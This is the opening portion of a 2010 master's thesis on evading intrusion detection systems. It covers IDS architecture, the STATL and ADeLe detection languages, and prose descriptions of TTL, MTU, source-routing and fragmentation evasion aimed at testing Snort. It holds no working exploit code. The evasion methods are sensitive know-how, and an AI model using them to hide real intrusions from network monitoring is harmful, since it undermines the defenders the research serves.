Sunteți pe pagina 1din 76

}w

!"#$%&'()+,-./012345<yA|
M ASARYKOVA UNIVERZITA
FAKULTA INFORMATIKY

IDS System Evasion Techniques

M ASTER ’ S THESIS

Vít Bukač

Brno, spring 2010


Declaration
Hereby I declare, that this paper is my original authorial work, which I have
worked out by my own. All sources, references and literature used or excerpted
during elaboration of this work are properly cited and listed in complete refer-
ence to the due source.

Vít Bukač

Advisor: RNDr. Vojtěch Krmíček

ii
Acknowledgement
First, I would like to thank my advisor RNDr. Vojtěch Krmíček for his valuable
suggestions and factual comments which allowed the creation of this thesis. Also
I would like to express gratitude to my family and friends for their favour and
support. Thank you.

iii
Abstract
This thesis contains the list of existing intrusion detection evasion techniques.
Several chosen techniques are implemented in the testing environment and their
fruitfulness of detection avoidance is measured.

iv
Keywords
intrusion detection, evasion, insertion, Snort, Scapy, signature, port scan, false
positive generation, STATL, ADeLe

v
Contents

1 Introduction 1

2 Intrusion detection systems 2


2.1 Terminology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
2.2 Common Intrusion Detection Framework Architecture . . . . . . . 2
2.3 IDS types . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
2.4 Anomaly detection . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
2.5 Signature detection . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
2.5.1 Attack languages . . . . . . . . . . . . . . . . . . . . . . . . . 6
2.5.2 STATL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
2.5.3 ADeLe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
2.6 Stateful protocol analysis . . . . . . . . . . . . . . . . . . . . . . . . . 13

3 Attacks on IDS 15
3.1 Attack types . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
3.2 Network layer evasion . . . . . . . . . . . . . . . . . . . . . . . . . . 15
3.3 Transport layer evasion . . . . . . . . . . . . . . . . . . . . . . . . . . 18
3.4 Code morphing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
3.5 Port scan detection evasion . . . . . . . . . . . . . . . . . . . . . . . 20
3.6 Denial of service attacks . . . . . . . . . . . . . . . . . . . . . . . . . 21

4 Snort IDS 24
4.1 Inner workings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
4.2 Rules . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
4.3 Preprocessors . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
4.3.1 frag3 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28
4.3.2 Stream5 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29
4.3.3 sfPortscan . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31

5 Attacks implementation 32
5.1 Packet level evasion . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33
5.1.1 Methodology . . . . . . . . . . . . . . . . . . . . . . . . . . . 33
5.1.2 Testing traffic . . . . . . . . . . . . . . . . . . . . . . . . . . . 33
5.1.3 Simple fragmentation . . . . . . . . . . . . . . . . . . . . . . . 37
5.1.4 Fragment reassembly timeout . . . . . . . . . . . . . . . . . . 37
5.1.5 Fragment resend . . . . . . . . . . . . . . . . . . . . . . . . . 39

vi
5.1.6 Fragment TTL . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
5.1.7 Packet TTL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42
5.1.8 Maximum transmission unit . . . . . . . . . . . . . . . . . . . 45
5.1.9 Simple segmentation . . . . . . . . . . . . . . . . . . . . . . . 46
5.1.10 Segment overlay . . . . . . . . . . . . . . . . . . . . . . . . . 47
5.2 Port scan detection evasion . . . . . . . . . . . . . . . . . . . . . . . 48
5.2.1 Methodology . . . . . . . . . . . . . . . . . . . . . . . . . . . 48
5.2.2 No evasion technique . . . . . . . . . . . . . . . . . . . . . . . 49
5.2.3 Timing attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . 50
5.2.4 Port scan characteristics modification . . . . . . . . . . . . . 51
5.2.5 Packet level evasion . . . . . . . . . . . . . . . . . . . . . . . 53
5.3 System administrators overwhelm . . . . . . . . . . . . . . . . . . . 55
5.3.1 Novaburn . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56
5.3.2 Methodology . . . . . . . . . . . . . . . . . . . . . . . . . . . 56
5.3.3 Results . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57

6 Conclusion 60

A ADeLe example 64

B Port scan Scapy scripts 66

C False positives generator script 67

vii
List of Tables

5.1 Simple fragmentation . . . . . . . . . . . . . . . . . . . . . . . . . . . 37


5.2 Fragment reassembly timeout . . . . . . . . . . . . . . . . . . . . . . 39
5.3 Fragment resend Windows XP SP2 . . . . . . . . . . . . . . . . . . . 40
5.4 Fragment resend Debian Linux . . . . . . . . . . . . . . . . . . . . . 40
5.5 Fragment TTL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42
5.6 Packet TTL malicious content . . . . . . . . . . . . . . . . . . . . . . 44
5.7 Packet TTL RST segment . . . . . . . . . . . . . . . . . . . . . . . . . 45
5.8 Maximum transmission unit insertion attack . . . . . . . . . . . . . 46
5.9 Simple segmentation . . . . . . . . . . . . . . . . . . . . . . . . . . . 46
5.10 Segment overlay . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48
5.11 Port scan detection without evasion techniques . . . . . . . . . . . . 49
5.12 Port scan timing attacks . . . . . . . . . . . . . . . . . . . . . . . . . 50
5.13 sfPortscan preprocessor detection thresholds . . . . . . . . . . . . . 51
5.14 Port scan characteristics modification I . . . . . . . . . . . . . . . . . 52
5.15 Port scan characteristics modification II . . . . . . . . . . . . . . . . 52
5.16 Fragment overlap port scan . . . . . . . . . . . . . . . . . . . . . . . 54
5.17 False positives generation – measurement . . . . . . . . . . . . . . . 58
5.18 False positives generation – results . . . . . . . . . . . . . . . . . . . 58

List of Figures

2.1 Common Intrusion Detection Architecture [PN98] . . . . . . . . . . 4


2.2 Scenario example state diagram [EVK01] . . . . . . . . . . . . . . . . 10
3.1 IDS insertion attack [PN98] . . . . . . . . . . . . . . . . . . . . . . . 16
3.2 IDS evasion Attack [PN98] . . . . . . . . . . . . . . . . . . . . . . . . 16
5.1 Testing network topology . . . . . . . . . . . . . . . . . . . . . . . . 32
5.2 Port scan packet level evasion . . . . . . . . . . . . . . . . . . . . . . 54

viii
1 Introduction
The importance of computer networks is steadily increasing. More or less every
organization in the world is dependent to a certain degree on the existence and
the reliable function of its computer network.
Networks are under constant attacks both from hackers and the self-spreading
malware. One part of the defense is to use the intrusion detection system (IDS).
The IDS monitors activities in the network and reports any policy violations.
However IDSs are created by humans and consequently they are not unmistak-
able. Since the introduction of the concept of intrusion detection in the eight-
ies of the Twentieth Century a number of methods has been discovered which,
when applied to ordinary attacks, allow these attacks to go undetected by the IDS.
These methods are summarily called intrusion detection evasion techniques.
The goal of this thesis is to provide the list of existing intrusion detection eva-
sion techniques and demonstrate their practical use with Snort intrusion detec-
tion system as a chosen testing platform.
The thesis consists of six chapters. Chapter 2 outlines the theoretical back-
ground of intrusion detection systems. Advantages and disadvantages of vari-
ous types of intrusion detection are discussed. Chapter 3 brings a list of known
evasion techniques. Chapter 4 describes signature-based open source intrusion
detection system Snort. Chapter 5 presents test results of several chosen intru-
sion detection evasion attacks against Snort. Also basic defense measures are sug-
gested. Chapter 6 summarizes the thesis.
CD-ROM disk with an electronic copy of the thesis and with all used scripts
is added.

1
2 Intrusion detection systems

2.1 Terminology
Asset is a part of the system which is used by the organization and which has an
unomittable value.
Threat is a potential security violation.
Attack is the realization of a threat which results in decreasing of value of the
asset.
Attacker is a person executing the attack.
Victim is a computer which is a target of the attack.
False positive is the erroneous identification of the harmless event as harmful.
False negative is the erroneous identification of the harmful event as harmless.

2.2 Common Intrusion Detection Framework Architecture


Common Intrusion Detection Framework (CIDF) is an initiative aimed to specify
different elements of intrusion detection in order to allow expression and shar-
ing of intrusion-relevant data [KPSCT98]. CIDF also suggests the generic design
of the intrusion detection system consisting of four collaborating components
[PSSC98]. No implementation topics are discussed, the description is restricted
to what properties should each component have. Components should exchange
data in the form of general intrusion detection objects (gidos [FKP+ 99]) which
indicate that a particular occurrence happened at some time or which store some
conclusion about a series of occurrences or which instruct to perform a reactive
task.
Event generators (E-boxes) receive raw events from outside of the IDS and
provide them to the rest of the system as gidos. An event may or may not be an
evidence of the intrusion. Each E-box is supposed to be specific to a single class
of detected events.
Event analyzers (A-boxes) process gidos coming from event generators. The
purpose of an A-box is to examine gidos in deep with relevance to the context.
Each gido can be examined by multiple A-boxes each of which focuses on a dif-
ferent aspect of events. The outcome of the analysis is again stored in gido and
passed on to the event database and the response unit.
Event database (D-box) is a storage where gidos are archived. Usually only
gidos from A-boxes are stored but generally gidos from any component can be
stored. Stored gidos can be later used for further analysis or as an evidence.
Response unit (C-box) performs reactive actions like killing a process or reset-
ting a TCP connection. This allows stopping ongoing attacks or limiting further
similar attacks in the future. The output of the C-box is either none or an acknowl-
edgement about the result of the performed action. Intrusion detection systems
which include at least one active C-box component are called intrusion preven-
tion systems.

2
2. I NTRUSION DETECTION SYSTEMS

2.3 IDS types


According to the National Institute of Standards and Technology there are four
classes of intrusion detection systems: network-based IDSs (NIDS), host-based
IDSs (HIDS), IDSs for wireless networks and network behavior analysis systems
(NBA). Also honeypots can be considered to be a subclass of NIDSs because of
many similarities with NIDSs. Sometimes we can also encounter a term hybrid
IDS, which denotes an IDS which combines the functionality from several differ-
ent types of IDSs.
Network-based IDS monitors network traffic for particular network segments
or devices and analyzes network, transport, and application protocols to identify
suspicious activity [SM07]. NIDS is either installed on routers so the traffic passes
through it or it can be connected to network by the network tap or the spanning
port. Network taps enable the sensor to monitor all traffic going through the line.
Spanning port is a special switch port to where all packets transmitted through
the switch are mirrored.
Host-based IDS monitors the characteristics of a single host and events oc-
curring within that host for suspicious activity. As input data it uses received
packets, system logs, file integrity checks, system configuration checks, system
calls etc. Because the HIDS has access to the application-level interpretation of
the traffic it can detect attacks in packets which are transmitted encrypted. Con-
sequently many network attacks cannot be detected because HIDS has not access
to the raw network layer data.
A network behavior analysis system examines network traffic or statistics on
network traffic to identify unusual traffic flows, such as distributed denial of ser-
vice attacks, certain forms of malware (e.g. worms, backdoors), and policy vio-
lations (e.g. a client system providing network services to other systems). NBA
probes can be placed in network similarly as NIDS.
A wireless IDS monitors wireless network traffic and analyzes its wireless net-
working protocols to identify suspicious activity involving the protocols them-
selves. Honeypot is a security resource whose value lies in being probed, attacked
or compromised [Spi02]. Honeypots are applications, hosts or entire networks
whose purpose is to convince the attacker that they contain valuable resources
(e.g. secret files, server services) and lure him to attack them. Because they have
no legitimate purpose other than security, they are not normally accessed. There-
fore every access to them can be considered a sign of the attack.
Sections 2.4 to 2.6 discuss common IDS types in greater detail.

2.4 Anomaly detection


Anomaly-based detection is the process of comparing definitions of what activity
is considered normal against observed events to identify significant deviations.
An IDPS using the anomaly-based detection has profiles that represent the nor-
mal behavior of such things as users, hosts, network connections, or applications.

3
2. I NTRUSION DETECTION SYSTEMS

Figure 2.1: Common Intrusion Detection Architecture [PN98]

The profiles are developed by monitoring the characteristics of typical activity


over a period of time. The IDPS then uses statistical methods to compare the
characteristics of current activity to thresholds related to the profile. Profiles can
be built for almost any measurable attribute (e.g. the number of emails sent from
a particular host, login attempts count or the amount of the free memory). Profiles
are static or dynamic. Static profiles are constant, whether dynamic are adjusted
in time according to the development in the network (these changes reflect what
is considered to be the legitimate behavior).
Advantages of anomaly detection
• New attacks detection Anomaly detection is able to detect new unknown
attacks if they change observed attributes over current thresholds.
• Insider attacks detection Legitimate action (e.g. file copying) can be con-
sidered an attack if it is performed in an unauthorized manner (e.g. by
an employee who should not have access to the file). Intrusion detection
systems based on anomaly detection are able to detect such attacks.
Disadvantages of anomaly detection
• Dynamic profiles learning An attacker can perform her activity gradually
without significant changes in time (e.g. slowly increase the amount of
spam she sends into the network). An IDS which uses dynamic profiles
than incorporates attacker’s activity in its definition of normal behavior.
• Complexity Anomaly detection is hard to understand and requires exten-
sive study.

4
2. I NTRUSION DETECTION SYSTEMS

• Choice of characteristics Proper choice of monitored attributes is vital for


the successful detection. Every environment is unique and the IDS must
be configured accordingly.
• Attack analysis difficulties The administrator himself must discover the
cause and the inflictor when an alert is generated. Anomaly-based IDS
suggests the interpretation of the attack only with a certain probability.
• Learning period When an anomaly-based IDS is deployed in the network
there is a time window for profiles building. During this period the IDS is
unable to detect attacks.

2.5 Signature detection


A signature is a pattern that corresponds to a known threat. Signature-based de-
tection is the process of comparing signatures against observed events to identify
possible incidents. If the match is found an alert is generated. An event might be
a capture of a packet, appearance of certain record in system log etc.
Examples of signatures
• Packet with invalid combination of flags in TCP header.
• Connection attempt between two specific IP addresses.
• Packet being transmitted to port 22 of a specific server, which contains “su
root” string in its payload.

Advantages of signature detection [Car02]


• Understandability Signatures are easy to understand, to create and to
modify. Every signature clearly states under what conditions the alert is
generated. Even inexperienced security administrators are able to adapt
the common set of rules to their environment.
• Accuracy If rules are suitably defined there is a minimum of false positives.
On the other hand irresponsibly designed rules can lead to a high amount
of false positives (e.g. too general rules). False negatives rate is difficult
to assess. If the monitored packet stream contains an attack described by
one or more rules it is always discovered. However we do not have any
indication of for how many attacks we lack signatures.
• Rapid deployment Signature-based IDS can operate immediately after the
installation and the setting of rules, it does not require any learning period.
• Logging abilities If an attack is detected many properties can be logged
(e.g. which signature matched, what packet was the source of attack in
what exact time) or the packet itself can be stored for the further analysis
later.

5
2. I NTRUSION DETECTION SYSTEMS

Disadvantages of signature detection

• Inability to detect new attacks Attacks for which signatures do not exist
yet cannot be detected.

• Variability of attacks Attacks with multiple variants require a separate


signature for each of them.

• Signature database updates Signature database must be regularly filled


with signatures of new attacks and some signatures must be modified.
Also for performance reasons it is recommended to remove signatures for
attacks which are no longer applicable in the environment.

• Heterogeneity of environments A signature which detects an attack in a


given environment may not be able to detect an attack when it is used in a
different environment (e.g. on a different operating system).

• Intrusion detection evasion techniques

An important functional aspect of IDSs is the set of signatures which is used for
detection. Commercial IDSs often keep basic rule set secret and companies them-
selves are primary sources of rules. Such signatures are tested in order to cause
minimum false positives and not to slow the IDS down significantly. On the other
hand many open-source IDSs benefit from the community which supplies rules
quickly and openly so as every administrator could modify them.

2.5.1 Attack languages


Intrusion detection systems perform several tasks. They obtain the raw data from
the environment, detect malicious activity in observed events which may be en-
vironment specific, report all findings and possibly take a reactive action. To ac-
complish that IDSs utilize several languages, often generally called “attack lan-
guages”. There are six classes of attack languages as described in [EVK00].
Event languages describe “events” which are basic inputs for the security
analysis. Primarily event languages describe the data format in which events are
stored and transferred. Well-designed event language should support preproces-
sor use, should be easily shareable among different systems and should be able
to merge different event streams. Examples of event languages are the libpcap
format of dumped packets or the syntax of syslog records.
Correlation languages specify relationships among attacks to identify coordi-
nated attempts to break the security of an information system and identify the
impact on the target at a higher level of abstraction. They can be used to intercon-
nect attacks which were detected by different intrusion detection systems. Corre-
lation languages provide view on the system security in the most general form.
Exploit languages describe steps to be followed to perform an intrusion. Com-
monly they are either classical programming / scripting languages or languages
very similar to them.

6
2. I NTRUSION DETECTION SYSTEMS

Response languages specify actions to be taken in reaction to the detection


of attack manifestations. Systems which actively utilize response languages are
called intrusion prevention systems. Response languages are usually quite simi-
lar to standard programming or scripting languages.
Detection languages are designed to support the intrusion detection. They
provide mechanisms and abstractions for identifying the manifestation of an at-
tack. Examples of detection languages are STATL, P-BEST, RUSSEL and languages
used in IDS Bro and in IDS Snort. Detection languages have a primary role in cur-
rent intrusion detection systems.
Desired properties of detection languages [EVK02]
• Simplicity The language should contain only features to represent attacks
nothing more.
• Expressivity Although the language should be simple it must be able to
express every attack which can be detected.
• Rigor The language must have rigorously defined syntax and semantics.
Expressions must not be ambiguous.
• Extensibility The language must be extensible by objects from new do-
mains. The extension should be possible in a strictly defined yet simple
way.
• Executability / Translatability Attack descriptions should be useable by
the IDS without human intervention. Descriptions should be either exe-
cutable or stored in a form which can be translated into executable.
• Portability The language should be portable for use in different environ-
ment then originally intended.
• Heterogeneity Attacks should be possible to describe by events from mul-
tiple domains.
Section 2.5.2 presents a detection language which fulfills these requirements and
which was created as an effort to unite the approaches to attack descriptions.
Section 2.5.3 presents a general language which contains elements of all types of
attack languages in a common form.

2.5.2 STATL
State Transition Analysis Technique Language [EVK01] is a detection language
specifically designed to meet requirements which were described in section 2.5.1,
page 7. It has been developed with the intention to unify different approaches
to detection languages and allow extensibility to different domains and environ-
ments. Rules from several detection languages were discovered possible to be
transformed into STATL, most notably language of Snort [Eck01] and N-Code
used in Network Flight Recorder.

7
2. I NTRUSION DETECTION SYSTEMS

STATL is a detection language built on the concept of attack scenarios. Attack


scenario consists of static elements and the dynamic behavior, which describes
how a scenario evolves when it is actually matched against a stream of input
events.
The attack is modeled as a sequence of steps which brings the system from
an initial safe state to a final compromised state. The description of an attack is
based on static elements – states and transitions. States characterize snapshots
of the system in each phase of the attack. Transition presents an action which
specifies the event which may cause the scenario to move to a new state.
STATL also uses a notion of instances and attack prototypes. Instance repre-
sents the attack currently underway while prototype represents the scenario defi-
nition and the global environment. This allows tracking of several occurrences of
the same type of attack at once.
Transitions can be consuming, nonconsuming and unwinding. A nonconsum-
ing transition represents a step of an occurring attack that does not prevent fur-
ther occurrences of attacks from spawning from the transition’s source state. In
other words a new scenario instance is created, which is in a new state, and for-
mer instance’s state is left unchanged. Consuming transition makes the source
state of a particular attack occurrence invalid. Hence the state of instance is sim-
ply changed, no new instance is created. Unwinding transition represents a form
of “rollback” and is used to describe events and conditions that may invalidate
the progress of one or more scenario instances and require the return to an earlier
state [aut06].
Scenario is a 6-tuple

S: (S, T, s0 , I, g, q)

Where S is a set of states, T is a set of transitions, s0 is an initial state, I is a set


of instances, g is the global environment and q is the global timer queue. Timer
queue consists of events with timeouts which are active in the scenario. Global
environment g contains scenario’s constants, parameters and global variables.
Every instance i ∈ I is represented as a sequence of system snapshots i = Σ+ .
Snapshot σ ∈ Σ is defined as

σ : (Ns × L × Q × E)

Where Ns is the domain of state names, L is the domain of local environments,


Q is the domain of local timer queues and E is the domain of STAT events. The
local environment and the timer differ from their global counterparts that they are
linked with a single instance not the whole scenario. Snapshot holds progression
of a single attack by recording the current state, values of local variables and the
event which led to the current state. STAT events are not a part of STATL; they
are derivatives of application events. STAT event  is defined as

 : τE × T × κ × ℘(E)

8
2. I NTRUSION DETECTION SYSTEMS

Where τE is a domain of event types, T is the time domain (intuitively, a times-


tamp), κ denotes the application event and ℘(E) is a set of sub events. Application
events are elements of a raw event stream. Scenario instances evolve as a conse-
quence of event matching:
(S, T, s0 , I, g, q) → (S, T, s0 , I 0 , g 0 , q 0 )
Scenario starts in an initial safe state and it reaches a final state through the series
of transitions. The final state is a state without exiting transitions.
Scenario definition example
The following simple scenario matches the situation when three events E1, E2
and E3 are detected, all of whom have an attribute “color” with the same value.
Events E2 and E3 must follow after E1 in a time interval of 30 seconds.
Scenario example ( int timeout = 30) {
timer timer1;
int intColor;
global int intCount;
const int intAsser1 = 1;
const int intAsser2 = 2;

initial
state s1 {}
state s2 {}
state s3 {}
state s4 {
intAsser2 > intAsser1
++intCount;
log(“got %d matches”,intCount);
}

transition t1 (s1->s2) nonconsuming {


[e E1]
{ intColor = e.color; timer_start(t1, timeout); }}
transition t2 (s2->s3) consuming {
[e E2] : e.color == intColor}
transition t3 (s3->s4) consuming {
[e E3] : e.color == intColor}

transition timeout1 (s2->s1) unwinding {


[timer timer1]}
transition timeout2 (s3->s1) unwinding {
[timer timer1]}
}
Data types used in the example are int and timer. Others are bool, string, vec-
tor, map, list, set and timeval. No user-defined data types are allowed. Variables

9
2. I NTRUSION DETECTION SYSTEMS

Figure 2.2: Scenario example state diagram [EVK01]

can be local and global. Global variables are shared among all instances of the
scenario, local variables hold only in actual instance.
Four states s1, s2, s3 and s4 are declared, the first being also initial. Only one
state may be declared as initial. State s4 has no exiting transition, so it is consid-
ered final. In the final state the global variable intCount is incremented and then
logged. Each state can consists of a code block, an optional annotation and an
assertion. Assertion is the entrance condition – state code block is executed if the
assertion is evaluated as True. State’s assertion is implicitly True if no assertion is
inserted. A sample assertion is given in the state s4.
There are 5 transitions named t1, t2, t3, timeout1 and timeout2. Each transi-
tion must have specified name, type and a pair of states it connects. Source and
destination states can be identical. Transition’s code block is bounded by braces.
It may perform any computation supported by STATL, but typically it is used to
copy event field values to global or local variables. Optionally the transition can
contain the annotation and the assertion.
During the change of state assertions and code blocks are processed in the fol-
lowing order:

1. Evaluation of transition assertion; if True then continue.


2. Evaluation of state assertion; if True then continue.
3. Execution of transition code block.
4. Execution of state code block.

Brackets delimit the transition’s event specification. Event specification describes


events and conditions which the transition matches. Event specification is either a
basic event specification, possibly followed by a subevent specification, or a timer
event. The timer event is called at the expiration of the timer. An example of the
common event specification is

[IP d1 [TCP t1]]: ((d1.dst == 1.2.3.4) && (t1.dst == 25))

which matches every packet whose destination IP address is 1.2.3.4, contains a


TCP segment and the destination port is 25.

10
2. I NTRUSION DETECTION SYSTEMS

2.5.3 ADeLe
Adele is an attack language which was designed to combine all the knowledge
available for a given attack in one and only one readable and high-level descrip-
tion. It models known attack scenarios, creating a database which can be used
for configuration of detection engines and probes and also for testing of already
established intrusion detection systems [MM01].
Adele is a combination of four types of languages – exploit, detection, correla-
tion and response. That enables to describe all aspects of an attack in the great de-
tail. Reporting capability was not involved, IDMEF [DCF07] language was used
for output purposes. We assume events are delivered in the same format.
ADeLe main properties
• Readability The description is understandable without special tools. No-
tation is similar to XML.

• Comprehension Every aspect of an attack can be represented.

• Generality Multiple versions of the same attack can be covered with a


single description.

• Modularity Attack can be described as a composition of other attacks.


Attack patterns written in ADeLe are not to be directly used in intrusion detection
systems. The information must be first processed by compilers or interpreters.
Attack description structure
Attacks are described in the plaintext using XML-like syntax. Given structure has
no values filled. Full ADeLe example can be found in Appendix A.

Alert Example (IN String input1, OUT String output1,


OUT String output2)

Headline of the attack consists of a name and optional parameters. Input param-
eters summarize information needed for the execution of an attack and output
parameters denote the gain of an attacker (e.g. level of access obtained, informa-
tion gathered etc.). Attacks themselves are described in three separate fields – the
exploit part, the detection part and the response part.
<EXPLOIT>
<PRECOND>
</PRECOND>
<ATTACK> <LANG> </LANG>
</ATTACK>
<POSTCOND>
</POSTCOND>
</EXPLOIT>

11
2. I NTRUSION DETECTION SYSTEMS

Exploit part describes an attack from the attacker’s point of view. Precondition
section contains requirements for launching an attack (e.g. certain vulnerability is
present on the target host). Attack section provides the source code of the attack.
Language of the code is specified in the <LANG> tag. Adele puts no limitation
on what code/exploit languages can be used (e.g. C++ [Jos99], Perl [Foy07], Nasl
[Arb05], . . . ). Attack section is important because some parts of it are later refer-
enced in the detect section as an unique identification of the attack in progress.
Postcondition section stores the information about attacker’s gains.
<DETECTION>
<DETECT>
<EVENTS>
</EVENTS>
<ENCHAIN>
</ENCHAIN>
<CONTEXT>
</CONTEXT>
</DETECT>
<CONFIRM>
</CONFIRM>
<REPORT>
</REPORT>
</DETECTION>
Detection part describes the attack as an observation made on target host. ADeLe
uses own high-level language to express the detection of attacks. Events subsec-
tion contains names of events and alerts which are observable during the attack
written in IDMEF format. These events should be already mentioned in the attack
section of the exploit part.
Enchain subsection describes temporal relationships between events. Rela-
tionships are relative. Events can be in sequence, non-ordered (meaning, they
must all occur, but no matter the sequence), one among many (only one event
from the set of events must occur), subset of (several events from the set of events
must occur), repeated (single event with multiple occurrences) or non occurrence
(certain event must not occur). Timeouts can also be specified which can invali-
date the tracking of an attack.
Context subsection describes contextual aspects of a scenario. A context rule
is a constraint applied to occurrences of one or more of previously defined events
or alerts. All constraints must be satisfied simultaneously. Constraints can be ex-
pressed on any field to filter only events / alerts that should appear for a given
attack. Constraints can be based on the comparison of values, the occurrence of a
certain value in the field of values, locating of a substring within a string etc.
Each event has at least six fields: AlertId (serial number of the event), Time
(time of the generation of the event), Analyzer.ident (an identifier of the probe
which has produced the event), Classification[0].name (name used to refer to this
kind of the event), Target (a field of information about the target of the event) and

12
2. I NTRUSION DETECTION SYSTEMS

Source (a field of information about the source of the event). There are many more
fields which allow access to low-level information contained in events. Each field
can be accessed via the dot notation from the higher level. Top level objects are
classes of observed events. Three classes are currently defined: System, Network
and Appli . For example the source address value of the packet which caused an
event can be accessed:

Network.Ip.Header.src

Confirm subsection contains checks to verify if the attack was successful. This
way the false positives rate can be decreased. Examples of checks are computing
hashes of sensitive files or pinging hosts which were targets of denial-of-service
attack.
Report section constructs an alert to be sent. Section uses IDMEF notation.
<RESPONSE>
</RESPONSE>
Response section lists automatic reaction which would be executed when the at-
tack was detected. Examples of reactions are modifications of firewall rules, TCP
session reset, launch of a script etc.

2.6 Stateful protocol analysis


Stateful protocol analysis is the process of comparing predetermined profiles of
generally accepted definitions of benign protocol activity for each protocol state
against observed events to identify deviations. Unlike anomaly-based detection,
which uses host or network-specific profiles, stateful protocol analysis relies on
vendor-developed universal profiles that specify how particular protocols should
and should not be used. In practice profiles are based on official protocol speci-
fications (RFC and other standards) but also on the most common implementa-
tions.
Stateful protocol analysis can be perceived as an extension to signature detec-
tion by higher-level protocol checks with the detailed understanding. Intrusion
detection systems are able to monitor entire session and work with its context
(e.g. maintain relations between requests and responses). Common monitored
protocols are HTTP, DNS, FTP, SMTP and telnet.
Advantages of stateful protocol analysis compared to signature detection

• Detection of a broader class of attacks e.g. brute-force password guessing,


which can be discovered by keeping track of the count of unsuccessful
login attempts.

• Success / failure detection Deciding whether the attack was successful or


not by observing the response on the request.

13
2. I NTRUSION DETECTION SYSTEMS

Disadvantages of the stateful protocol analysis compared to the signature de-


tection

• Lower lucidity Rules and decision trees are more complicated to under-
stand, harder to modify and more demanding to be accurate.

• Hardware requirements Analysis is both computationally (the analysis


is complex) and memory (an IDS must maintain the session context) de-
manding.

An example of stateful protocol analysis signature


Port 25:
{
state command-dialog client-sends ".*WIZ.*"
| state command-dialog client-sends "DEBUG"
client-sends "DATA" enter state message-body
state command-dialog client-sends line greater than 1024
alert possible overflow attack
}
The presented signature takes advantage of the context-awareness. If the client
sends the packet containing “.*WIZ.*” or “DEBUG” to the server followed with
the packet containing “DATA”, the session state is changed to “message -body”. If
a packet with payload greater than 1024 bytes is detected for the session which is
in the message-body state, an alert about a buffer overflow attempt is generated.

14
3 Attacks on IDS

3.1 Attack types


Major problem of current intrusion detection systems is their dependency onthe
correct input. An IDS must have access to exactly the same traffic as clients do.
Intrusion detection systems are usually passive devices so if for example the IDS
cannot request retransmission when a certain packet is received garbled. Even
more troublesome is to decide whether the packet is accepted by the host. For
example certain devices might ignore wrong IP checksum and accept the packet
whether other silently drop it. These ambiguities are the result of inexplicit proto-
col specifications, which commonly include suggestions instead of orders. Every
implementation of such standard can be therefore distinct. The result is that by
simply looking at the packet the IDS cannot be sure the synchronization between
the IDS and the host is maintained.
Thomas Ptacek and Timothy Newsham proposed 3 different classes of attacks
against packet-based network intrusion detection systems: insertion, evasion and
denial of service. The aim of these attacks is to desynchronize the IDS and the host
(make them either process different data or same data differently). Attacker can
then further exploit this desynchronization to carry out her attack undetected.
During the insertion attack an IDS accepts a packet which is rejected by an
end-system. The packet is valid only to the IDS. With proper usage the attacker
can defeat the signature analysis by inserting traffic in such a way that the signa-
ture is never found. See figure 3.1 on page 16.
During the evasion attack an end-system accepts packet which is rejected by
an IDS. Attacker can smuggle some or all malicious traffic into network without
the IDS being able to detect it. See figure 3.2 on page 16.
Denial of service (DoS) attack launches the attacker either with the intention
to exhaust IDS’s resources (thus compromising IDS’s ability to monitor all traffic)
or disable it entirely. The most common type of DoS attack is to overwhelm the
victim with requests. These requests can be sent from multiple sources at once. In
that case we talk about the distributed denial of service attack (DDoS).

3.2 Network layer evasion


• Time to live field attacks TTL field in IP header indicates how many hops
a packet can be routed through before it is discarded. Every router which
forwards the packet decreases this value by one. Attacker who has prior
knowledge of the destination network topology can craft packets in a such
way that they are processed by the intrusion detection system (which is
commonly placed on the network perimeter) but are discarded before they
get to the target host. This results in the IDS insertion attack [SP].

• Maximum transmission unit MTU value specifies the size of the biggest

15
3. ATTACKS ON IDS

Figure 3.1: IDS insertion attack [PN98]

Figure 3.2: IDS evasion Attack [PN98]

16
3. ATTACKS ON IDS

packet which can be routed through the interface with the given data-link
layer protocol (e.g. Ethernet has a MTU of 1500 B). Attacker can learn the
lowest MTU value between him and the target host by the technique called
“path MTU discovery”. If this minimum is between the IDS and the target
host (or between the target host and the point where IDS is connected to
the network) then the attacker can create packet with size bigger than this
minimum and “Don’t fragment” bit set. Such packet will reach the IDS
but it will be discarded by the router at the beginning of the low-MTU line
which results in an IDS insertion attack.
• IP checksum verification An intrusion detection system which does not
verify IP checksum (often for performance reasons) is susceptible to an in-
sertion attack, because it may process a packet which would be discarded
at target host. IP checksum verification can be used in conjunction with
fragmentation or transport layer attacks.
• Source routing Source routing is a mechanism which allows the sender of
a packet to specify the route which the packet takes through the network.
Attacker can spoof the sender address and set it as it is from the subnet
which attacker is trying to invade. Then the source routing allows the at-
tacker to smuggle the packet into the network. Most IDSs are set up that
internal network has the higher trustfulness than the external network.
This way the attacker evades being detected by rules which suppose that
certain attacks can come only from the external network. Also routers be-
tween the IDS and the target host may be configured to drop packets with
the source routing specified. Than an insertion attack is possible [McN04].
• Fragmentation Fragmentation is a process of dissociating a large packet
into smaller units called fragments. Each fragment receives its own IP
header and can be routed through the different path.
– Reassembly Due to some ambiguities in the IP protocol specifica-
tion there are operating systems which handle specific fragmentation
cases differently. These are mostly fragment retransmission, fragment
overlays and fragments with non-neighbouring offsets. If the IDS pro-
cess fragments differently than target host it can lead to inconsisten-
cies and eventually to both insertion and evasion attacks [Nov05].
